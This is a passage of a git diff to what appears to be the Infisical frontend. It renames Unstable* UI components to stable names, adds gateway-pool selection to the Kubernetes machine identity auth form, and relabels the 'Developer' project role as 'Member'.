-                <UnstableTableRow key={`skeleton-${i + 1}`}>
-                  <UnstableTableCell>
+                <TableRow key={`skeleton-${i + 1}`}>
+                  <TableCell>
                     <Skeleton className="h-4 w-full" />
-                  </UnstableTableCell>
-                  <UnstableTableCell>
+                  </TableCell>
+                  <TableCell>
                     <Skeleton className="h-4 w-full" />
-                  </UnstableTableCell>
-                  <UnstableTableCell>
+                  </TableCell>
+                  <TableCell>
                     <Skeleton className="h-4 w-full" />
-                  </UnstableTableCell>
-                  <UnstableTableCell>
+                  </TableCell>
+                  <TableCell>
                     <Skeleton className="h-4 w-4" />
-                  </UnstableTableCell>
-                </UnstableTableRow>
+                  </TableCell>
+                </TableRow>
               ))}
             {!isPending &&
               templates?.map((template) => (
-                <UnstableTableRow key={`template-${template.id}`}>
-                  <UnstableTableCell isTruncatable>{template.name}</UnstableTableCell>
-                  <UnstableTableCell>
+                <TableRow key={`template-${template.id}`}>
+                  <TableCell isTruncatable>{template.name}</TableCell>
+                  <TableCell>
                     <span className="uppercase">{template.authMethod}</span>
-                  </UnstableTableCell>
-                  <UnstableTableCell isTruncatable>{template.templateFields.url}</UnstableTableCell>
-                  <UnstableTableCell>
-                    <UnstableDropdownMenu>
-                      <UnstableDropdownMenuTrigger asChild>
-                        <UnstableIconButton
-                          variant="ghost"
-                          size="xs"
-                          onClick={(e) => e.stopPropagation()}
-                        >
+                  </TableCell>
+                  <TableCell isTruncatable>{template.templateFields.url}</TableCell>
+                  <TableCell>
+                    <DropdownMenu>
+                      <DropdownMenuTrigger asChild>
+                        <IconButton variant="ghost" size="xs" onClick={(e) => e.stopPropagation()}>
                           <MoreHorizontalIcon />
-                        </UnstableIconButton>
-                      </UnstableDropdownMenuTrigger>
-                      <UnstableDropdownMenuContent align="end">
-                        <UnstableDropdownMenuItem
+                        </IconButton>
+                      </DropdownMenuTrigger>
+                      <DropdownMenuContent align="end">
+                        <DropdownMenuItem
                           onClick={(e) => {
                             e.stopPropagation();
                             handlePopUpOpen("viewUsages", { template });
@@ -244,13 +238,13 @@ export const IdentityAuthTemplatesTable = ({ handlePopUpOpen }: Props) => {
                         >
                           <EyeIcon />
                           {TEMPLATE_UI_LABELS.VIEW_USAGES}
-                        </UnstableDropdownMenuItem>
+                        </DropdownMenuItem>
                         <OrgPermissionCan
                           I={OrgPermissionMachineIdentityAuthTemplateActions.EditTemplates}
                           a={OrgPermissionSubjects.MachineIdentityAuthTemplate}
                         >
                           {(isAllowed) => (
-                            <UnstableDropdownMenuItem
+                            <DropdownMenuItem
                               onClick={(e) => {
                                 e.stopPropagation();
                                 handlePopUpOpen("editTemplate", { template });
@@ -259,7 +253,7 @@ export const IdentityAuthTemplatesTable = ({ handlePopUpOpen }: Props) => {
                             >
                               <EditIcon />
                               {TEMPLATE_UI_LABELS.EDIT_TEMPLATE}
-                            </UnstableDropdownMenuItem>
+                            </DropdownMenuItem>
                           )}
                         </OrgPermissionCan>
                         <OrgPermissionCan
@@ -267,7 +261,7 @@ export const IdentityAuthTemplatesTable = ({ handlePopUpOpen }: Props) => {
                           a={OrgPermissionSubjects.MachineIdentityAuthTemplate}
                         >
                           {(isAllowed) => (
-                            <UnstableDropdownMenuItem
+                            <DropdownMenuItem
                               variant="danger"
                               onClick={(e) => {
                                 e.stopPropagation();
@@ -280,18 +274,18 @@ export const IdentityAuthTemplatesTable = ({ handlePopUpOpen }: Props) => {
                             >
                               <TrashIcon />
                               {TEMPLATE_UI_LABELS.DELETE_TEMPLATE}
-                            </UnstableDropdownMenuItem>
+                            </DropdownMenuItem>
                           )}
                         </OrgPermissionCan>
-                      </UnstableDropdownMenuContent>
-                    </UnstableDropdownMenu>
-                  </UnstableTableCell>
-                </UnstableTableRow>
+                      </DropdownMenuContent>
+                    </DropdownMenu>
+                  </TableCell>
+                </TableRow>
               ))}
-          </UnstableTableBody>
-        </UnstableTable>
+          </TableBody>
+        </Table>
         {totalCount > 0 && (
-          <UnstablePagination
+          <Pagination
             count={totalCount}
             page={page}
             perPage={perPage}
diff --git a/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentityKubernetesAuthForm.tsx b/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentityKubernetesAuthForm.tsx
index 89ed93b6654..6fd0ad31425 100644
--- a/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentityKubernetesAuthForm.tsx
+++ b/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentityKubernetesAuthForm.tsx
@@ -3,7 +3,6 @@ import { Controller, useFieldArray, useForm } from "react-hook-form";
 import { faInfoCircle, faPlus, faXmark } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
-import { useQuery } from "@tanstack/react-query";
 import { useParams } from "@tanstack/react-router";
 import { z } from "zod";
 
@@ -23,6 +22,7 @@ import {
   TextArea,
   Tooltip
 } from "@app/components/v2";
+import { GatewayPicker } from "@app/components/v3";
 import { useOrganization, useOrgPermission, useSubscription } from "@app/context";
 import {
   OrgGatewayPermissionActions,
@@ -30,7 +30,6 @@ import {
 } from "@app/context/OrgPermissionContext/types";
 import { OrgMembershipRole } from "@app/helpers/roles";
 import {
-  gatewaysQueryKeys,
   useAddIdentityKubernetesAuth,
   useGetIdentityKubernetesAuth,
   useUpdateIdentityKubernetesAuth
@@ -39,8 +38,11 @@ import {
   IdentityKubernetesAuthTokenReviewMode,
   IdentityTrustedIp
 } from "@app/hooks/api/identities/types";
-import { useGetVaultExternalMigrationConfigs } from "@app/hooks/api/migration/queries";
-import { VaultKubernetesAuthRole } from "@app/hooks/api/migration/types";
+import { useGetExternalMigrationConfigs } from "@app/hooks/api/migration/queries";
+import {
+  ExternalMigrationProviders,
+  VaultKubernetesAuthRole
+} from "@app/hooks/api/migration/types";
 import { usePopUp, UsePopUpState } from "@app/hooks/usePopUp";
 
 import { IdentityFormTab } from "./types";
@@ -54,6 +56,7 @@ const schema = z
     kubernetesHost: z.string().optional().nullable(),
     tokenReviewerJwt: z.string().optional(),
     gatewayId: z.string().optional().nullable(),
+    gatewayPoolId: z.string().optional().nullable(),
     allowedNames: z.string(),
     allowedNamespaces: z.string(),
     allowedAudience: z.string(),
@@ -85,11 +88,16 @@ const schema = z
       });
     }
 
-    if (data.tokenReviewMode === IdentityKubernetesAuthTokenReviewMode.Gateway && !data.gatewayId) {
+    if (
+      data.tokenReviewMode === IdentityKubernetesAuthTokenReviewMode.Gateway &&
+      !data.gatewayId &&
+      !data.gatewayPoolId
+    ) {
       ctx.addIssue({
         path: ["gatewayId"],
         code: z.ZodIssueCode.custom,
-        message: "When token review mode is set to Gateway, a gateway must be selected"
+        message:
+          "When token review mode is set to Gateway, a gateway or gateway pool must be selected"
       });
     }
   });
@@ -125,8 +133,6 @@ export const IdentityKubernetesAuthForm = ({
   const { mutateAsync: updateMutateAsync } = useUpdateIdentityKubernetesAuth();
   const [tabValue, setTabValue] = useState<IdentityFormTab>(IdentityFormTab.Configuration);
 
-  const { data: gateways, isPending: isGatewayLoading } = useQuery(gatewaysQueryKeys.list());
-
   const { data } = useGetIdentityKubernetesAuth(identityId ?? "", {
     enabled: isUpdate
   });
@@ -134,7 +140,9 @@ export const IdentityKubernetesAuthForm = ({
   const { popUp, handlePopUpToggle: handleImportPopUpToggle } = usePopUp([
     "importFromVault"
   ] as const);
-  const { data: vaultConfigs = [] } = useGetVaultExternalMigrationConfigs();
+  const { data: vaultConfigs = [] } = useGetExternalMigrationConfigs(
+    ExternalMigrationProviders.Vault
+  );
   const hasVaultConnection = vaultConfigs.some((config) => config.connectionId);
   const { hasOrgRole } = useOrgPermission();
   const isOrgAdmin = hasOrgRole(OrgMembershipRole.Admin);
@@ -181,7 +189,8 @@ export const IdentityKubernetesAuthForm = ({
         allowedNamespaces: data.allowedNamespaces,
         allowedAudience: data.allowedAudience,
         caCert: data.caCert,
-        gatewayId: data.gatewayId || null,
+        gatewayId: data.gatewayPoolId ? null : data.gatewayId || null,
+        gatewayPoolId: data.gatewayPoolId || null,
         accessTokenTTL: String(data.accessTokenTTL),
         accessTokenMaxTTL: String(data.accessTokenMaxTTL),
         accessTokenNumUsesLimit: data.accessTokenNumUsesLimit
@@ -308,6 +317,7 @@ export const IdentityKubernetesAuthForm = ({
     accessTokenMaxTTL,
     accessTokenNumUsesLimit,
     gatewayId,
+    gatewayPoolId,
     tokenReviewMode,
     accessTokenTrustedIps
   }: FormData) => {
@@ -329,7 +339,8 @@ export const IdentityKubernetesAuthForm = ({
         allowedAudience,
         caCert,
         identityId,
-        gatewayId: gatewayId || null,
+        gatewayId: gatewayPoolId ? null : gatewayId || null,
+        gatewayPoolId: gatewayPoolId || null,
         tokenReviewMode,
         accessTokenTTL: Number(accessTokenTTL),
         accessTokenMaxTTL: Number(accessTokenMaxTTL),
@@ -351,7 +362,8 @@ export const IdentityKubernetesAuthForm = ({
         allowedNames: allowedNames || "",
         allowedNamespaces: allowedNamespaces || "",
         allowedAudience: allowedAudience || "",
-        gatewayId: gatewayId || null,
+        gatewayId: gatewayPoolId ? null : gatewayId || null,
+        gatewayPoolId: gatewayPoolId || null,
         caCert: caCert || "",
         tokenReviewMode,
         accessTokenTTL: Number(accessTokenTTL),
@@ -441,61 +453,46 @@ export const IdentityKubernetesAuthForm = ({
                     control={control}
                     name="gatewayId"
                     defaultValue=""
-                    render={({ field: { value, onChange }, fieldState: { error } }) => (
-                      <FormControl
-                        isError={Boolean(error?.message)}
-                        errorText={error?.message}
-                        label="Gateway"
-                        isOptional
-                      >
-                        <Tooltip
-                          isDisabled={isAllowed}
-                          content="Restricted access. You don't have permission to attach gateways to resources."
+                    render={({ fieldState: { error } }) => {
+                      const gatewayPoolIdVal = watch("gatewayPoolId");
+                      const gatewayIdVal = watch("gatewayId");
+
+                      return (
+                        <FormControl
+                          isError={Boolean(error?.message)}
+                          errorText={error?.message}
+                          label="Gateway"
+                          isOptional
                         >
-                          <div>
-                            <Select
-                              isDisabled={!isAllowed}
-                              value={value as string}
-                              onValueChange={(v) => {
-                                if (v !== "") {
-                                  onChange(v);
-                                }
-
-                                if (v === null) {
-                                  setValue(
-                                    "tokenReviewMode",
-                                    IdentityKubernetesAuthTokenReviewMode.Api,
-                                    {
-                                      shouldDirty: true,
-                                      shouldTouch: true
-                                    }
-                                  );
-                                }
-                              }}
-                              className="w-full border border-mineshaft-500"
-                              dropdownContainerClassName="max-w-none"
-                              isLoading={isGatewayLoading}
-                              placeholder="Default: Internet Gateway"
-                              position="popper"
-                            >
-                              <SelectItem
-                                value={null as unknown as string}
-                                onClick={() => {
-                                  onChange(null);
+                          <Tooltip
+                            isDisabled={isAllowed}
+                            content="Restricted access. You don't have permission to attach gateways to resources."
+                          >
+                            <div>
+                              <GatewayPicker
+                                value={{
+                                  gatewayId: gatewayIdVal || null,
+                                  gatewayPoolId: gatewayPoolIdVal || null
+                                }}
+                                onChange={({ gatewayId: gwId, gatewayPoolId: poolId }) => {
+                                  setValue("gatewayId", gwId, { shouldDirty: true });
+                                  setValue("gatewayPoolId", poolId, { shouldDirty: true });
+                                  if (!gwId && !poolId) {
+                                    setValue(
+                                      "tokenReviewMode",
+                                      IdentityKubernetesAuthTokenReviewMode.Api,
+                                      { shouldDirty: true, shouldTouch: true }
+                                    );
+                                  }
                                 }}
-                              >
-                                Internet Gateway
-                              </SelectItem>
-                              {gateways?.map((el) => (
-                                <SelectItem value={el.id} key={el.id}>
-                                  {el.name}
-                                </SelectItem>
-                              ))}
-                            </Select>
-                          </div>
-                        </Tooltip>
-                      </FormControl>
-                    )}
+                                isDisabled={!isAllowed}
+                                className="w-full"
+                              />
+                            </div>
+                          </Tooltip>
+                        </FormControl>
+                      );
+                    }}
                   />
                 )}
               </OrgPermissionCan>
diff --git a/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentitySection.tsx b/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentitySection.tsx
index 2272567d580..9bf3bcb3455 100644
--- a/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentitySection.tsx
+++ b/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentitySection.tsx
@@ -14,13 +14,13 @@ import {
 } from "@app/components/v2";
 import {
   Button,
-  DocumentationLinkBadge,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  DocumentationLinkBadge
 } from "@app/components/v3";
 import {
   OrgPermissionIdentityActions,
@@ -110,16 +110,16 @@ export const IdentitySection = withPermission(
     return (
       <>
         <div className="flex flex-col gap-4">
-          <UnstableCard>
-            <UnstableCardHeader>
-              <UnstableCardTitle>
+          <Card>
+            <CardHeader>
+              <CardTitle>
                 {isSubOrganization ? "Sub-" : ""}Organization Machine Identities
                 <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/identities/machine-identities" />
-              </UnstableCardTitle>
-              <UnstableCardDescription>
+              </CardTitle>
+              <CardDescription>
                 Create and manage {isSubOrganization ? "sub-" : ""}organization machine identities
-              </UnstableCardDescription>
-              <UnstableCardAction>
+              </CardDescription>
+              <CardAction>
                 <OrgPermissionCan
                   I={OrgPermissionIdentityActions.Create}
                   a={OrgPermissionSubjects.Identity}
@@ -151,22 +151,22 @@ export const IdentitySection = withPermission(
                     </Button>
                   )}
                 </OrgPermissionCan>
-              </UnstableCardAction>
-            </UnstableCardHeader>
-            <UnstableCardContent>
+              </CardAction>
+            </CardHeader>
+            <CardContent>
               <IdentityTable handlePopUpOpen={handlePopUpOpen} />
-            </UnstableCardContent>
-          </UnstableCard>
-          <UnstableCard>
-            <UnstableCardHeader>
-              <UnstableCardTitle>
+            </CardContent>
+          </Card>
+          <Card>
+            <CardHeader>
+              <CardTitle>
                 Machine Identity Auth Templates
                 <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/identities/auth-templates" />
-              </UnstableCardTitle>
-              <UnstableCardDescription>
+              </CardTitle>
+              <CardDescription>
                 Create and manage machine identity authentication templates
-              </UnstableCardDescription>
-              <UnstableCardAction>
+              </CardDescription>
+              <CardAction>
                 <OrgPermissionCan
                   I={OrgPermissionMachineIdentityAuthTemplateActions.CreateTemplates}
                   a={OrgPermissionSubjects.MachineIdentityAuthTemplate}
@@ -191,12 +191,12 @@ export const IdentitySection = withPermission(
                     </Button>
                   )}
                 </OrgPermissionCan>
-              </UnstableCardAction>
-            </UnstableCardHeader>
-            <UnstableCardContent>
+              </CardAction>
+            </CardHeader>
+            <CardContent>
               <IdentityAuthTemplatesTable handlePopUpOpen={handlePopUpOpen} />
-            </UnstableCardContent>
-          </UnstableCard>
+            </CardContent>
+          </Card>
         </div>
         <IdentityAuthTemplateModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
         <MachineAuthTemplateUsagesModal
diff --git a/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentityTable.tsx b/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentityTable.tsx
index 6b134e20e80..1d37e874c2e 100644
--- a/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentityTable.tsx
+++ b/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentityTable.tsx
@@ -16,10 +16,22 @@ import { LastLoginSection } from "@app/components/organization/LastLoginSection"
 import { OrgPermissionCan } from "@app/components/permissions";
 import {
   Badge,
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
   OrgIcon,
+  Pagination,
   Select,
   SelectContent,
   SelectItem,
@@ -27,27 +39,15 @@ import {
   SelectValue,
   Skeleton,
   SubOrgIcon,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuCheckboxItem,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuLabel,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   OrgPermissionIdentityActions,
@@ -207,23 +207,23 @@ export const IdentityTable = ({ handlePopUpOpen }: Props) => {
             placeholder={`Search ${isSubOrganization ? "sub-organization" : "organization"} machine identities by name...`}
           />
         </InputGroup>
-        <UnstableDropdownMenu>
-          <UnstableDropdownMenuTrigger asChild>
-            <UnstableIconButton
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <IconButton
               variant={
                 // eslint-disable-next-line no-nested-ternary
                 isTableFiltered ? (isSubOrganization ? "sub-org" : "org") : "outline"
               }
             >
               <FilterIcon />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent align="end" className="max-h-80 overflow-y-auto">
-            <UnstableDropdownMenuLabel>
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end" className="max-h-80 overflow-y-auto">
+            <DropdownMenuLabel>
               Filter by {isSubOrganization ? "Sub-" : ""}Organization Role
-            </UnstableDropdownMenuLabel>
+            </DropdownMenuLabel>
             {roles?.map(({ id, slug, name }) => (
-              <UnstableDropdownMenuCheckboxItem
+              <DropdownMenuCheckboxItem
                 key={id}
                 checked={filter.roles.includes(slug)}
                 onClick={(e) => {
@@ -232,32 +232,32 @@ export const IdentityTable = ({ handlePopUpOpen }: Props) => {
                 }}
               >
                 {name}
-              </UnstableDropdownMenuCheckboxItem>
+              </DropdownMenuCheckboxItem>
             ))}
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
+          </DropdownMenuContent>
+        </DropdownMenu>
       </div>
       {!isPending && !data?.identities?.length ? (
-        <UnstableEmpty className="border">
-          <UnstableEmptyHeader>
-            <UnstableEmptyTitle>
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>
               {isFiltered
                 ? `No ${isSubOrganization ? "sub-" : ""}organization machine identities match search filter`
                 : `No machine identities have been added to this ${isSubOrganization ? "sub-" : ""}organization`}
-            </UnstableEmptyTitle>
-            <UnstableEmptyDescription>
+            </EmptyTitle>
+            <EmptyDescription>
               {isFiltered
                 ? "Adjust your search or filter criteria."
                 : "Add a machine identity to get started."}
-            </UnstableEmptyDescription>
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+            </EmptyDescription>
+          </EmptyHeader>
+        </Empty>
       ) : (
         <>
-          <UnstableTable>
-            <UnstableTableHeader>
-              <UnstableTableRow>
-                <UnstableTableHead
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead
                   className="w-1/2 cursor-pointer"
                   onClick={() => handleSort(OrgIdentityOrderBy.Name)}
                 >
@@ -271,8 +271,8 @@ export const IdentityTable = ({ handlePopUpOpen }: Props) => {
                       orderBy !== OrgIdentityOrderBy.Name && "opacity-30"
                     )}
                   />
-                </UnstableTableHead>
-                <UnstableTableHead
+                </TableHead>
+                <TableHead
                   className="cursor-pointer"
                   onClick={() => handleSort(OrgIdentityOrderBy.Role)}
                 >
@@ -286,30 +286,30 @@ export const IdentityTable = ({ handlePopUpOpen }: Props) => {
                       orderBy !== OrgIdentityOrderBy.Role && "opacity-30"
                     )}
                   />
-                </UnstableTableHead>
-                {isSubOrganization && <UnstableTableHead>Managed By</UnstableTableHead>}
-                <UnstableTableHead className="w-5" />
-              </UnstableTableRow>
-            </UnstableTableHeader>
-            <UnstableTableBody>
+                </TableHead>
+                {isSubOrganization && <TableHead>Managed By</TableHead>}
+                <TableHead className="w-5" />
+              </TableRow>
+            </TableHeader>
+            <TableBody>
               {isPending &&
                 Array.from({ length: perPage }).map((_, i) => (
-                  <UnstableTableRow key={`skeleton-${i + 1}`}>
-                    <UnstableTableCell>
+                  <TableRow key={`skeleton-${i + 1}`}>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
+                    </TableCell>
                     {isSubOrganization && (
-                      <UnstableTableCell>
+                      <TableCell>
                         <Skeleton className="h-4 w-full" />
-                      </UnstableTableCell>
+                      </TableCell>
                     )}
-                    <UnstableTableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-4" />
-                    </UnstableTableCell>
-                  </UnstableTableRow>
+                    </TableCell>
+                  </TableRow>
                 ))}
               {!isPending &&
                 data?.identities?.map(
@@ -323,7 +323,7 @@ export const IdentityTable = ({ handlePopUpOpen }: Props) => {
                     const isSubOrgIdentity = currentOrg.id === orgId;
 
                     return (
-                      <UnstableTableRow
+                      <TableRow
                         key={`identity-${id}`}
                         className="cursor-pointer"
                         onClick={() =>
@@ -336,7 +336,7 @@ export const IdentityTable = ({ handlePopUpOpen }: Props) => {
                           })
                         }
                       >
-                        <UnstableTableCell isTruncatable className="group">
+                        <TableCell isTruncatable className="group">
                           {name}
                           {lastLoginAuthMethod && lastLoginTime && (
                             <Tooltip>
@@ -351,8 +351,8 @@ export const IdentityTable = ({ handlePopUpOpen }: Props) => {
                               </TooltipContent>
                             </Tooltip>
                           )}
-                        </UnstableTableCell>
-                        <UnstableTableCell>
+                        </TableCell>
+                        <TableCell>
                           <OrgPermissionCan
                             I={OrgPermissionIdentityActions.Edit}
                             a={OrgPermissionSubjects.Identity}
@@ -385,9 +385,9 @@ export const IdentityTable = ({ handlePopUpOpen }: Props) => {
                               </Select>
                             )}
                           </OrgPermissionCan>
-                        </UnstableTableCell>
+                        </TableCell>
                         {isSubOrganization && (
-                          <UnstableTableCell>
+                          <TableCell>
                             <Badge variant={isSubOrgIdentity ? "sub-org" : "org"}>
                               {isSubOrgIdentity ? (
                                 <>
@@ -401,26 +401,26 @@ export const IdentityTable = ({ handlePopUpOpen }: Props) => {
                                 </>
                               )}
                             </Badge>
-                          </UnstableTableCell>
+                          </TableCell>
                         )}
-                        <UnstableTableCell>
-                          <UnstableDropdownMenu>
-                            <UnstableDropdownMenuTrigger asChild>
-                              <UnstableIconButton
+                        <TableCell>
+                          <DropdownMenu>
+                            <DropdownMenuTrigger asChild>
+                              <IconButton
                                 variant="ghost"
                                 size="xs"
                                 onClick={(e) => e.stopPropagation()}
                               >
                                 <MoreHorizontalIcon />
-                              </UnstableIconButton>
-                            </UnstableDropdownMenuTrigger>
-                            <UnstableDropdownMenuContent align="end">
+                              </IconButton>
+                            </DropdownMenuTrigger>
+                            <DropdownMenuContent align="end">
                               <OrgPermissionCan
                                 I={OrgPermissionIdentityActions.Edit}
                                 a={OrgPermissionSubjects.Identity}
                               >
                                 {(isAllowed) => (
-                                  <UnstableDropdownMenuItem
+                                  <DropdownMenuItem
                                     onClick={(e) => {
                                       e.stopPropagation();
                                       navigate({
@@ -435,7 +435,7 @@ export const IdentityTable = ({ handlePopUpOpen }: Props) => {
                                   >
                                     <EditIcon />
                                     Edit Machine Identity {isSubOrgIdentity ? "" : "Membership"}
-                                  </UnstableDropdownMenuItem>
+                                  </DropdownMenuItem>
                                 )}
                               </OrgPermissionCan>
                               <OrgPermissionCan
@@ -443,7 +443,7 @@ export const IdentityTable = ({ handlePopUpOpen }: Props) => {
                                 a={OrgPermissionSubjects.Identity}
                               >
                                 {(isAllowed) => (
-                                  <UnstableDropdownMenuItem
+                                  <DropdownMenuItem
                                     variant="danger"
                                     onClick={(e) => {
                                       e.stopPropagation();
@@ -458,20 +458,20 @@ export const IdentityTable = ({ handlePopUpOpen }: Props) => {
                                     {isSubOrgIdentity
                                       ? "Delete Machine Identity"
                                       : "Remove From Sub-Organization"}
-                                  </UnstableDropdownMenuItem>
+                                  </DropdownMenuItem>
                                 )}
                               </OrgPermissionCan>
-                            </UnstableDropdownMenuContent>
-                          </UnstableDropdownMenu>
-                        </UnstableTableCell>
-                      </UnstableTableRow>
+                            </DropdownMenuContent>
+                          </DropdownMenu>
+                        </TableCell>
+                      </TableRow>
                     );
                   }
                 )}
-            </UnstableTableBody>
-          </UnstableTable>
+            </TableBody>
+          </Table>
           {totalCount > 0 && (
-            <UnstablePagination
+            <Pagination
               count={totalCount}
               page={page}
               perPage={perPage}
diff --git a/frontend/src/pages/organization/AccessManagementPage/components/OrgMembersTab/components/OrgMembersSection/AddOrgMemberModal.tsx b/frontend/src/pages/organization/AccessManagementPage/components/OrgMembersTab/components/OrgMembersSection/AddOrgMemberModal.tsx
index bc985f372dc..d4cdbca2551 100644
--- a/frontend/src/pages/organization/AccessManagementPage/components/OrgMembersTab/components/OrgMembersSection/AddOrgMemberModal.tsx
+++ b/frontend/src/pages/organization/AccessManagementPage/components/OrgMembersTab/components/OrgMembersSection/AddOrgMemberModal.tsx
@@ -28,11 +28,11 @@ import { UsePopUpState } from "@app/hooks/usePopUp";
 
 import { OrgInviteLink } from "./OrgInviteLink";
 
-const DEFAULT_PROJECT_ROLE = { slug: "member", name: "Developer" };
+const DEFAULT_PROJECT_ROLE = { slug: "member", name: "Member" };
 
 const BUILT_IN_PROJECT_ROLES = [
   { slug: "admin", name: "Admin", description: "Full administrative access over a project" },
-  { slug: "member", name: "Developer", description: "Limited read/write role in a project" },
+  { slug: "member", name: "Member", description: "Limited read/write role in a project" },
   { slug: "viewer", name: "Viewer", description: "Only read role in a project" },
   { slug: "no-access", name: "No Access", description: "No access to any resources in the project" }
 ];
diff --git a/frontend/src/pages/organization/AccessManagementPage/components/OrgMembersTab/components/OrgMembersSection/OrgMembersSection.tsx b/frontend/src/pages/organization/AccessManagementPage/components/OrgMembersTab/components/OrgMembersSection/OrgMembersSection.tsx
index fbc9a92a5e0..2797bf40165 100644
--- a/frontend/src/pages/organization/AccessManagementPage/components/OrgMembersTab/components/OrgMembersSection/OrgMembersSection.tsx
+++ b/frontend/src/pages/organization/AccessManagementPage/components/OrgMembersTab/components/OrgMembersSection/OrgMembersSection.tsx
@@ -16,13 +16,13 @@ import {
 import {
   Badge,
   Button,
-  DocumentationLinkBadge,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  DocumentationLinkBadge
 } from "@app/components/v3";
 import { ROUTE_PATHS } from "@app/const/routes";
 import {
@@ -204,16 +204,16 @@ export const OrgMembersSection = () => {
           </OrgPermissionCan>
         </div>
       </div>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>
+      <Card>
+        <CardHeader>
+          <CardTitle>
             {isSubOrganization ? "Sub-" : ""}Organization Users
             <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/identities/user-identities" />
-          </UnstableCardTitle>
-          <UnstableCardDescription>
+          </CardTitle>
+          <CardDescription>
             Invite and manage {isSubOrganization ? "sub-" : ""}organization users
-          </UnstableCardDescription>
-          <UnstableCardAction>
+          </CardDescription>
+          <CardAction>
             <OrgPermissionCan I={OrgPermissionActions.Create} a={OrgPermissionSubjects.Member}>
               {(isAllowed) => (
                 <Button
@@ -233,17 +233,17 @@ export const OrgMembersSection = () => {
                 </Button>
               )}
             </OrgPermissionCan>
-          </UnstableCardAction>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardAction>
+        </CardHeader>
+        <CardContent>
           <OrgMembersTable
             handlePopUpOpen={handlePopUpOpen}
             setCompleteInviteLinks={setCompleteInviteLinks}
             selectedMemberIds={selectedMemberIds}
             setSelectedMemberIds={setSelectedMemberIds}
           />
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <AddOrgMemberModal
         popUp={popUp}
         handlePopUpToggle={handlePopUpToggle}
diff --git a/frontend/src/pages/organization/AccessManagementPage/components/OrgMembersTab/components/OrgMembersSection/OrgMembersTable.tsx b/frontend/src/pages/organization/AccessManagementPage/components/OrgMembersTab/components/OrgMembersSection/OrgMembersTable.tsx
index 934aa8b5bb8..848ec1250a0 100644
--- a/frontend/src/pages/organization/AccessManagementPage/components/OrgMembersTab/components/OrgMembersSection/OrgMembersTable.tsx
+++ b/frontend/src/pages/organization/AccessManagementPage/components/OrgMembersTab/components/OrgMembersSection/OrgMembersTable.tsx
@@ -21,36 +21,36 @@ import {
   Badge,
   Button,
   Checkbox,
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
+  Pagination,
   Select,
   SelectContent,
   SelectItem,
   SelectTrigger,
   SelectValue,
   Skeleton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
